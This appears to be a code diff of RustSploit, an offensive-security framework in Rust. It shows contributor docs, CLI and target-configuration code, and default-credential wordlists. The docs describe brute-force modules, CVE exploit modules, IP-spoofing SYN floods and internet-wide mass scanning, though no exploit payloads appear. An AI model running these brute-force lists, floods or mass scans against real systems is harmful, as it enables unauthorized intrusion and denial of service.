- Proxy state respected (rotate until success or fallback direct)
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
---
### Command Chaining
## Proxy Subsystem
The shell supports command chaining via the `&` separator, allowing multiple commands to be executed in a single line:
Implemented in `utils.rs` and surfaced in the shell.
```bash
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
rsf> f1 ssh & u creds/generic/ssh_bruteforce & set target 192.168.1.1
```
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
Commands are parsed and executed sequentially from left to right. This is useful for scripting workflows or quick module setup.
---
## Command-Line Interface
`src/cli.rs` uses Clap to expose three commands:
@@ -123,6 +125,9 @@ Proxies are set globally via environment variables so both module HTTP requests
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
- `--list-modules` (list all available modules)
- `--verbose` (enable detailed logging)
- `--output-format <text|json>` (control output format)
Example:
@@ -134,6 +139,122 @@ If the module needs additional parameters, it can prompt interactively (e.g., br
---
## Security & Input Validation
RustSploit implements comprehensive security measures throughout the codebase. When contributing, follow these guidelines:
### Input Validation Constants
Located across core modules, these constants enforce safe limits:
| File | Constant | Value | Purpose |
|------|----------|-------|---------|
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
| `shell.rs` | `MAX_TARGET_LENGTH` | 512 | Maximum target string length |
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
| `shell.rs` | `MAX_PROXY_LIST_SIZE` | 10,000 | Maximum proxy entries |
| `utils.rs` | `MAX_FILE_SIZE` | 10MB | Maximum file size to read |
| `utils.rs` | `MAX_PROXIES` | 100,000 | Maximum proxies to process |
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1MB | API request body limit |
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
### Security Patterns
When writing modules or core code, follow these patterns:
#### 1. Input Length Validation
```rust
if input.len() > MAX_INPUT_LENGTH {
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
}
```
#### 2. Control Character Rejection
```rust
if input.chars().any(|c| c.is_control()) {
return Err(anyhow!("Input cannot contain control characters"));
}
```
#### 3. Path Traversal Prevention
```rust
if input.contains("..") || input.contains("//") {
return Err(anyhow!("Path traversal detected"));
}
```
#### 4. Hostname/Target Validation
```rust
// Use the framework's normalize_target function for comprehensive validation
use crate::utils::normalize_target;
let normalized = normalize_target(raw_target)?;
// This handles IPv4, IPv6, hostnames, URLs, CIDR notation with full validation
```
For manual validation:
```rust
use regex::Regex;
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
if !valid_chars.is_match(target) {
return Err(anyhow!("Invalid characters in target"));
}
```
#### 5. Overflow Protection
```rust
// Use saturating_add to prevent overflow
counter = counter.saturating_add(1);
```
#### 6. Prompt Attempt Limiting
```rust
const MAX_ATTEMPTS: u8 = 10;
let mut attempts = 0;
loop {
attempts += 1;
if attempts > MAX_ATTEMPTS {
println!("Too many invalid attempts. Using default.");
return Ok(default);
}
// ... prompt logic
}
```
### API Security
The API server (`api.rs`) implements:
- **Request Body Limiting:** `RequestBodyLimitLayer` prevents DoS via large payloads
- **Rate Limiting:** 3 failed auth attempts = 30 second block
- **Auto-cleanup:** Old entries purged when limits exceeded
- **IP Tracking:** With automatic rotation when suspicious activity detected
- **Secure Defaults:** API binds to `127.0.0.1` by default to prevent accidental exposure
- **2FA/TOTP:** Optional Time-based One-Time Password enforcement (`--harden-totp`) with interactive setup wizard (`--setup-totp`)
### File Operations
When reading files, always:
1. Validate the path doesn't contain `..`
2. Use `canonicalize()` to resolve the real path
3. Check file size before reading
4. Skip symlinks for security
### Honeypot Detection
The framework automatically runs honeypot detection before module execution when a target is set. The `basic_honeypot_check` function in `utils.rs`:
- Scans 200 common ports with 250ms timeout per port
- If 11+ ports are open, warns that the target is likely a honeypot
- Runs automatically in the shell's `run` and `run_all` commands
- Can be called manually: `utils::basic_honeypot_check(&ip).await`
This helps operators identify potentially deceptive targets before spending time on them.
---
## Authoring Modules
Every module must export:
@@ -157,7 +278,7 @@ Guidelines:
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### Example skeleton
### skeleton
```rust
use anyhow::{Context, Result};
@@ -187,17 +308,113 @@ pub async fn run(target: &str) -> Result<()> {
## Credential Modules: Best Practices
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP/MQTT follow shared patterns:
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH, MQTT).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
- **Error classification:** Implement comprehensive error types (ConnectionFailed, AuthenticationFailed, Timeout, etc.) for better debugging and reporting.
- **Memory management:** For large wordlists (>150MB), implement streaming mode to prevent memory exhaustion (see RDP module for reference).
- **Timing Attacks:** When implementing user enumeration, use statistical analysis (samples/variance) rather than simple thresholds to account for network jitter (see SSH User Enum module).
- **Protocol compliance:** Implement full protocol support where applicable (e.g., Telnet IAC negotiation, MQTT 3.1.1).
- **FTP Bruteforce Enhancements**:
- 5 Operation Modes: Single Target, Subnet (CIDR), Batch Scanner, Quick Default Check, Subnet Default Check
- JSON configuration system with load/save/validation
- 32 utility functions (streaming wordlists, JSON/CSV export, network intelligence)
- Framework `normalize_target()` integration
- **L2TP/IPsec Module**:
- Multi-platform: strongswan, xl2tpd, pppd, NetworkManager (Linux), rasdial (Windows), networksetup (macOS)
- Proper IPsec Phase 1/2 and L2TP session management
- L2TPv2 packet crafting with AVP encoding
### Recent Module Enhancements
- **CVE-2026-24061 Exploit**:
- GNU inetutils-telnetd Remote Authentication Bypass via `NEW_ENVIRON`
- Automated payload execution and interactive shell session
- Mass-scan support with multi-port parallelization and exclusion ranges
- Verified logic for IAC (Interpret As Command) telnet negotiation
- **Telnet Module**:
- Full IAC (Interpret As Command) negotiation with proper option handling
- Enhanced error classification with specific error types
- Verbose mode for quick checks with detailed attempt reporting
- Improved buffer handling using `BytesMut` with size limits
- **RDP Module**:
- Streaming failover for password files >150MB
- Comprehensive error classification with 8 error types
- Multiple security level support (Auto, NLA, TLS, RDP, Negotiate)
- Command injection prevention via argument sanitization
- **MQTT Module**:
- Full MQTT 3.1.1 protocol implementation
- Proper variable-length encoding and UTF-8 string encoding
- CONNACK response parsing with error classification
- **SSH User Enumeration**:
- Implements timing-based enumeration inspired by CVE-2018-15473
- Statistical analysis using standard deviation to identify valid users
- precise `tokio::time::Instant` measurements for authentication attempts
- **Directory Bruteforcer**:
- `DirBruteConfig` struct handles comprehensive settings (extensions, status codes, threads)
- Recursive scanning logic with depth control
- Custom `Client` configuration for optimized throughput
- Interactive setup wizard `setup_wizard` guides users through configuration
- **Sequential Fuzzer**:
- Supports versatile payload placement (URL, Header, Body)
- `EncodingType` enum supports 10+ encoding schemes including Double URL and Hex
- Base-N counting algorithm for exhaustive iteration without memory overhead
- Modular `charset` selection (SQL, Traversal, Command Injection)
- **API Endpoint Scanner**:
- Full-featured vulnerability scanner supporting SQLi, NoSQLi, Command Injection, and Path Traversal
- Extended HTTP method support (CONNECT, TRACE, DEBUG, PUT, DELETE, etc.)
- ID Enumeration module for finding resource leaks
- Endpoint discovery via wordlist enumeration
- Concurrent scanning with results filed by endpoint
- **DoS / Stress Testing Optimizations**:
- **Null SYN Exhaustion**: Rewritten for high-performance using native OS threads, zero-allocation loops, and custom thread-local XorShift128+ RNG. Capable of >1M PPS. IP spoofing with per-packet random source IPs.
- **TCP Connection Flood**: Optimized with DNS pre-resolution, counter-based error sampling, infinite mode support (`duration=0`), and efficient address sharing to maximize connection rate.
- **Connection Exhaustion Flood**: FD-bounded semaphore design caps local file descriptors while exhausting the target's connection table/TIME_WAIT slots. Supports infinite mode with graceful Ctrl+C shutdown.
- **Camxploit Mass Scan Enhancements**:
- Masscan-style parallel port scanning with semaphore-based concurrency (default 200 threads)
- EXCLUDED_RANGES: 16 CIDR ranges excluded (bogons, private, reserved, documentation, public DNS)
- Service filtering: Hosts with only SSH/Telnet/RDP ports are skipped automatically
- Time-based progress reporting and output file for discovered cameras
- **IP Exclusion Ranges (EXCLUDED_RANGES pattern)**:
- Standardized across `camxploit`, `telnet_bruteforce`, and exploit modules
- Uses `ipnetwork` crate for proper CIDR matching
- Covers: 10.0.0.0/8, 127.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 224.0.0.0/4, 240.0.0.0/4, 0.0.0.0/8, 100.64.0.0/10, 169.254.0.0/16, 198.18.0.0/15, 198.51.100.0/24, 203.0.113.0/24, 255.255.255.255/32, plus public DNS (1.1.1.1, 8.8.8.8, etc.)
- **New Exploit Modules**:
- **SharePoint**: CVE-2024-38094 (Deserialization RCE)
- **MongoBleed**: CVE-2025-14847 (Memory Disclosure) with mass-scan and deep-scan modes
- **TP-Link VIGI**: CVE-2026-1457 (Authenticated RCE)
- **Telnet**: CVE-2026-24061 (Auth Bypass)
- **Windows DWM**: CVE-2026-20805 (Info Disclosure)
- **Geth (Go-Ethereum)**: CVE-2026-22862 (DoS via Ecies Panic)
- **Termix**: CVE-2026-22804 (Stored XSS)
- **FortiCloud SSO**: CVE-2026-24858 (Auth Bypass)
- **Ruijie Series**: 7 new modules covering RCE, Auth Bypass, and SSRF
- **Framework Core Enhancements**:
- **Mass Scan Standardization**: All mass-scan capable modules now accept `0.0.0.0`, `0.0.0.0/0`, or `random` targets and offer consistent private range exclusion prompts.
- **Stability**: Removed all `unwrap()` and `unwrap_or_default()` calls from critical paths for crash-free operation.
- **Architecture**: Fixed design flaws in API worker threading (moved to `spawn_blocking`) and consolidated validation logic.
---
@@ -215,9 +432,22 @@ Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
`src/utils.rs` provides:
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
- **`normalize_target`**: Comprehensive target normalization supporting:
- IPv4: `192.168.1.1`, `192.168.1.1:8080`
- IPv6: `::1`, `[::1]`, `[::1]:8080`, `2001:db8::1`
- Hostnames: `example.com`, `example.com:443`
- URLs: `http://example.com:8080` (extracts host:port)
- CIDR notation: `192.168.1.0/24`, `2001:db8::/32`
Includes comprehensive validation (DoS prevention, path traversal protection, format validation).
- **`extract_ip_from_target`**: Extracts IP address or hostname from normalized target strings, handling ports, brackets, and CIDR notation.
- **`basic_honeypot_check`**: Framework-level honeypot detection that scans 200 common ports. If 11+ ports are open, warns that the target is likely a honeypot. This runs automatically before module execution when a target is set.
- **`module_exists` / `list_all_modules` / `find_modules`**: Used by shell to present module inventory.
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
@@ -230,7 +460,7 @@ Feel free to expand this file with reusable pieces (e.g., credential loader, HTT
3. **Runtime smoke tests:**
- Shell: `cargo run``modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
@@ -250,4 +480,4 @@ Contributions are welcome—open an issue or start a discussion before large ref
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !***
-17
View File
@@ -44,23 +44,6 @@ Here is the original module that needs to be refactored:
Strict Requirements:
+15
View File
@@ -0,0 +1,15 @@
public
guest
sysadmin
hivemq
emonpimqtt2016
mosquitto
mqttpassword
password
[auto-generated]
[empty]
[printed on PLC]
password
password
password
bitnami
+15
View File
@@ -0,0 +1,15 @@
admin
guest
sysadmin@thingsboard.org
admin
emonpi
mosquitto
mqttuser
admin
homeassistant
DVES_USER
admin
roger
sub_client
pub_client
user
+19 -4
View File
@@ -6,10 +6,14 @@ This directory contains reference lists and helper payloads consumed by modules
## Available Files
| File | Used By | Description |
|------|---------|-------------|
| File / Directory | Used By | Description |
|------------------|---------|-------------|
| `rtsp-paths.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Candidate RTSP paths to brute force when enumerating stream URLs (e.g., `/live.sdp`, `/Streaming/channels/101`). One entry per line; comments can be added with `#` at the start of a line. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables advanced headers, the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
| `rtsphead.txt` | `creds/generic/rtsp_bruteforce_advanced.rs` | Optional RTSP header templates. When the user enables "advanced headers," the module loads this file and injects each header line into outbound requests. Keep headers in `Key: Value` form. |
| `telnet-default/` | `creds/generic/telnet_bruteforce.rs` | Default credentials for telnet brute forcing. |
| `telnet-default/usernames.txt` | Telnet bruteforce | Common usernames for telnet authentication (root, admin, user, etc.). |
| `telnet-default/passwords.txt` | Telnet bruteforce | Common passwords for telnet authentication. |
| `telnet-default/empty.txt` | Telnet bruteforce | Placeholder file for configurations that don't require a password list. |
---
@@ -29,5 +33,16 @@ This directory contains reference lists and helper payloads consumed by modules
- `telnet-banners.txt` to fingerprint devices before brute forcing
- `http-admin-panels.txt` for web interface discovery scanners
- Vendor-specific RTSP or ONVIF endpoint lists
- `snmp-community-strings.txt` for SNMP brute forcing
- `fortinet-users.txt` for Fortinet SSL VPN testing
- `ssh-default-creds.txt` for common SSH credentials
Pull requests welcome—please include both the data file and an entry here. !*** End Patch
## Security Notes
When contributing wordlists:
- **No malicious payloads:** Lists should contain credentials/paths only, not exploit code
- **Respect file size limits:** Keep lists under 10MB (framework limit for file reading)
- **UTF-8 encoding:** Use UTF-8 text encoding for all files
- **Line format:** One entry per line, use `#` or `//` for comments
Pull requests welcome—please include both the data file and an entry here.
+20
View File
@@ -0,0 +1,20 @@
admin
password
123456
1234
root
toor
guest
default
admin123
adminadmin
pass
changeme
password1
cisco
ubnt
support
12345
qwerty
letmein
test
+20
View File
@@ -0,0 +1,20 @@
admin
root
user
administrator
guest
support
operator
supervisor
admin1
root1
manager
service
master
tech
sysadmin
default
cisco
ubnt
pi
test
BIN
View File
Binary file not shown.

Before

Width:  |  Height:  |  Size: 116 KiB

After

Width:  |  Height:  |  Size: 435 KiB

+1121 -160
View File
File diff suppressed because it is too large Load Diff
+46 -5
View File
@@ -6,7 +6,7 @@ use clap::{ArgGroup, Parser};
#[clap(group(
ArgGroup::new("mode")
.required(false)
.args(&["command", "api"])
.args(&["command", "api", "setup_totp"])
))]
pub struct Cli {
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
@@ -28,15 +28,56 @@ pub struct Cli {
#[arg(long, requires = "api")]
pub api_key: Option<String>,
/// Enable hardening mode (auto-rotate API key on suspicious activity)
/// Enable all hardening features (TOTP + rate limit + IP tracking)
#[arg(long, requires = "api")]
pub harden: bool,
/// Network interface to bind API server to (default: 0.0.0.0)
#[arg(long, requires = "api", default_value = "0.0.0.0")]
/// Enable TOTP authentication for API (requires --api)
#[arg(long, requires = "api")]
pub harden_totp: bool,
/// Enable rate limiting for API (requires --api)
#[arg(long, requires = "api")]
pub harden_rate_limit: bool,
/// Enable IP tracking for API (requires --api)
#[arg(long, requires = "api")]
pub harden_ip_tracking: bool,
/// Network interface to bind API server to (default: 127.0.0.1 for security)
#[arg(long, requires = "api", default_value = "127.0.0.1")]
pub interface: Option<String>,
/// IP limit for hardening mode (default: 10 unique IPs)
#[arg(long, requires = "harden", default_value = "10")]
#[arg(long, default_value = "10")]
pub ip_limit: Option<u32>,
/// Set global target IP/subnet for all modules
#[arg(long)]
pub set_target: Option<String>,
/// Enable verbose output (shows detailed operation logs)
#[arg(short, long)]
pub verbose: bool,
/// List all available modules and exit
#[arg(long)]
pub list_modules: bool,
/// Output format (text, json)
#[arg(long, default_value = "text")]
pub output_format: Option<String>,
/// API job queue size (default: 100)
#[arg(long, default_value_t = 100)]
pub queue_size: usize,
/// Number of worker threads for API jobs (default: 10)
#[arg(long, default_value_t = 10)]
pub workers: usize,
/// Set up TOTP authentication (interactive wizard)
#[arg(long)]
pub setup_totp: bool,
}
+1 -1
View File
@@ -2,7 +2,7 @@ use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
use std::path::Path;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
+1
View File
@@ -2,6 +2,7 @@ use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
/// Re-export run function as `run_exploit` to match previous API usage in mod.rs
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
+1 -1
View File
@@ -2,7 +2,7 @@ use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
use std::path::Path;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
+85 -39
View File
@@ -4,15 +4,39 @@ pub mod creds;
use anyhow::Result;
use crate::cli::Cli;
use walkdir::WalkDir;
use crate::config;
use crate::utils::normalize_target;
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
/// CLI dispatcher
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let raw = cli_args.target.clone().unwrap_or_default();
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
// Target resolution logic...
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
let raw = if let Some(ref t) = cli_args.target {
t.clone()
} else if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", match config::GLOBAL_CONFIG.get_target() {
Some(t) => t,
None => String::new(),
});
ip
}
Err(e) => return Err(anyhow::anyhow!("No target specified and global target error: {}", e)),
}
} else {
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
};
let target = normalize_target(&raw)?;
crate::utils::verbose_log(cli_args.verbose, &format!("Normalized target: {}", target));
let module = match cli_args.module.clone() {
Some(m) => m,
None => String::new(),
};
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/");
@@ -26,38 +50,75 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
}
_ => eprintln!("Unknown command '{}'", command),
}
Ok(())
}
/// Interactive shell: handles `run` with raw target string
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
/// Interactive module runner
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
crate::utils::verbose_log(verbose, &format!("Attempting to run module '{}' against '{}'", module_path, raw_target));
// 1. Resolve module using compile-time list
let available = discover_modules();
// Fuzzy matching logic
let full_match = available.iter().find(|m| m == &module_path);
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
m.rsplit_once('/').map(|(_, short)| short == module_path).unwrap_or(false)
});
if let Some(m) = full_match {
crate::utils::verbose_log(verbose, &format!("Exact module match found: {}", m));
} else if let Some(m) = short_match {
crate::utils::verbose_log(verbose, &format!("Short module match found: {}", m));
}
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
for m in available {
println!(" {}", m);
use colored::*;
eprintln!("{}", format!("❌ Unknown module '{}'.", module_path).red());
// Fuzzy matching
let best_match = available.iter()
.map(|m| (m, strsim::levenshtein(module_path, m)))
.min_by_key(|&(_, dist)| dist);
if let Some((suggestion, dist)) = best_match {
if dist < 5 { // Threshold for suggestions
eprintln!("{}", format!(" Did you mean: {}?", suggestion).yellow());
}
}
return Ok(());
return Err(anyhow::anyhow!("Module not found"));
};
let target = normalize_target(raw_target)?;
// 2. Resolve target
let target_str = if raw_target.is_empty() {
if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_single_target_ip() {
Ok(ip) => {
println!("[*] Using global target: {}", match config::GLOBAL_CONFIG.get_target() {
Some(t) => t,
None => String::new(),
});
ip
}
Err(e) => return Err(anyhow::anyhow!("Global target error: {}", e)),
}
} else {
return Err(anyhow::anyhow!("No target specified."));
}
} else {
raw_target.to_string()
};
let target = normalize_target(&target_str)?;
crate::utils::verbose_log(verbose, &format!("Target resolved to: {}", target));
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
@@ -73,29 +134,14 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
Ok(())
}
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
/// Helper to aggregate all available modules from generated constants
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
for category in &categories {
let base = format!("src/modules/{}", category);
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
let p = entry.path();
if p.is_file()
&& p.extension().map_or(false, |e| e == "rs")
&& p.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(rel) = p.strip_prefix("src/modules") {
let module_path = rel
.with_extension("")
.to_string_lossy()
.replace("\\", "/");
modules.push(module_path);
}
}
}
}
// Map exploit::AVAILABLE_MODULES -> "exploits/{name}"
modules.extend(exploit::AVAILABLE_MODULES.iter().map(|m| format!("exploits/{}", m)));
modules.extend(scanner::AVAILABLE_MODULES.iter().map(|m| format!("scanners/{}", m)));
modules.extend(creds::AVAILABLE_MODULES.iter().map(|m| format!("creds/{}", m)));
modules
}
+1 -1
View File
@@ -2,7 +2,7 @@ use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::{Path, PathBuf};
use std::path::Path;
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
+285
View File
@@ -0,0 +1,285 @@
use anyhow::{Result, anyhow};
use std::sync::{Arc, RwLock};
use ipnetwork::IpNetwork;
use regex::Regex;
/// Maximum length for target strings
const MAX_TARGET_LENGTH: usize = 2048;
/// Maximum length for hostname
const MAX_HOSTNAME_LENGTH: usize = 253;
/// Global configuration for the framework
#[derive(Clone, Debug)]
pub struct GlobalConfig {
/// Global target - can be a single IP or CIDR subnet
target: Arc<RwLock<Option<TargetConfig>>>,
}
#[derive(Clone, Debug)]
pub enum TargetConfig {
/// Single IP address or hostname
Single(String),
/// CIDR subnet (e.g., "192.168.1.0/24")
Subnet(IpNetwork),
}
impl GlobalConfig {
/// Create a new global configuration
pub fn new() -> Self {
Self {
target: Arc::new(RwLock::new(None)),
}
}
/// Set the global target (IP, hostname, or CIDR subnet)
pub fn set_target(&self, target: &str) -> Result<()> {
let trimmed = target.trim();
// Basic validation
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
// Length check
if trimmed.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Target too long (max {} characters)",
MAX_TARGET_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Target cannot contain control characters"));
}
// Check for path traversal attempts
if trimmed.contains("..") || trimmed.contains("//") {
return Err(anyhow!("Target contains invalid characters (path traversal)"));
}
// Try to parse as CIDR subnet first
if let Ok(network) = trimmed.parse::<IpNetwork>() {
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
}
// Validate hostname/IP format
Self::validate_hostname_or_ip(trimmed)?;
// Otherwise, treat as single IP or hostname
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
Ok(())
}
/// Validates a hostname or IP address format
fn validate_hostname_or_ip(target: &str) -> Result<()> {
// Length check for hostname
if target.len() > MAX_HOSTNAME_LENGTH {
return Err(anyhow!(
"Hostname too long (max {} characters)",
MAX_HOSTNAME_LENGTH
));
}
// Check for valid characters
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("Regex compilation failed");
if !valid_chars.is_match(target) {
return Err(anyhow!(
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
));
}
// Check for spaces
if target.contains(' ') {
return Err(anyhow!("Target cannot contain spaces"));
}
// Basic hostname format check (not starting/ending with special chars)
if target.starts_with('.') || target.starts_with('-') {
return Err(anyhow!("Target cannot start with '.' or '-'"));
}
if target.ends_with('.') && !target.ends_with("..") {
// Allow trailing dot for FQDN, but not double dots
}
// Check for consecutive dots (invalid in hostnames)
if target.contains("..") {
return Err(anyhow!("Target cannot contain consecutive dots"));
}
Ok(())
}
/// Get the global target as a single string (for display)
pub fn get_target(&self) -> Option<String> {
let guard = self.target.read().ok()?;
guard.as_ref().map(|t| match t {
TargetConfig::Single(ip) => ip.clone(),
TargetConfig::Subnet(net) => net.to_string(),
})
}
/// Get a single IP address from the global target
/// For subnets, returns the network address (first IP)
pub fn get_single_target_ip(&self) -> Result<String> {
let guard = self.target.read().map_err(|_| anyhow!("Config lock poisoned"))?;
match guard.as_ref() {
Some(TargetConfig::Single(ip)) => {
Ok(ip.clone())
}
Some(TargetConfig::Subnet(net)) => {
// Return the network address (first IP in the subnet)
Ok(net.network().to_string())
}
None => Err(anyhow!("No global target set")),
}
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
self.target.read().map(|g| g.is_some()).unwrap_or(false)
}
/// Check if global target is a subnet
pub fn is_subnet(&self) -> bool {
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)))).unwrap_or(false)
}
/// Get the target subnet if set
pub fn get_target_subnet(&self) -> Option<IpNetwork> {
let guard = self.target.read().ok()?;
match guard.as_ref() {
Some(TargetConfig::Subnet(net)) => Some(*net),
_ => None,
}
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
pub fn get_target_size(&self) -> Option<u64> {
let target_guard = self.target.read().ok()?;
match target_guard.as_ref() {
Some(TargetConfig::Single(_)) => Some(1),
Some(TargetConfig::Subnet(net)) => {
// Calculate size from prefix length
let size = match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 {
1u64
} else {
2u64.pow(32 - prefix)
}
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
let exp = 128u32.saturating_sub(prefix);
if exp > 63 {
u64::MAX
} else {
2u64.pow(exp)
}
}
}
};
Some(size)
}
None => None,
}
}
/// Clear the global target
pub fn clear_target(&self) {
if let Ok(mut target_guard) = self.target.write() {
*target_guard = None;
}
}
}
/// Global configuration instance
use once_cell::sync::Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
/// Module-level configuration for API-driven execution
/// This is set by the API before running a module and read by modules
/// to get pre-configured values instead of prompting the user
#[derive(Clone, Debug, Default)]
pub struct ModuleConfig {
pub port: Option<u16>,
pub username_wordlist: Option<String>,
pub password_wordlist: Option<String>,
pub path_wordlist: Option<String>,
pub concurrency: Option<usize>,
pub stop_on_success: Option<bool>,
pub save_results: Option<bool>,
pub output_file: Option<String>,
pub verbose: Option<bool>,
pub combo_mode: Option<bool>,
}
impl ModuleConfig {
pub fn new() -> Self {
Self::default()
}
/// Check if running in API mode (any config option is set)
pub fn is_api_mode(&self) -> bool {
self.port.is_some() ||
self.username_wordlist.is_some() ||
self.password_wordlist.is_some() ||
self.path_wordlist.is_some() ||
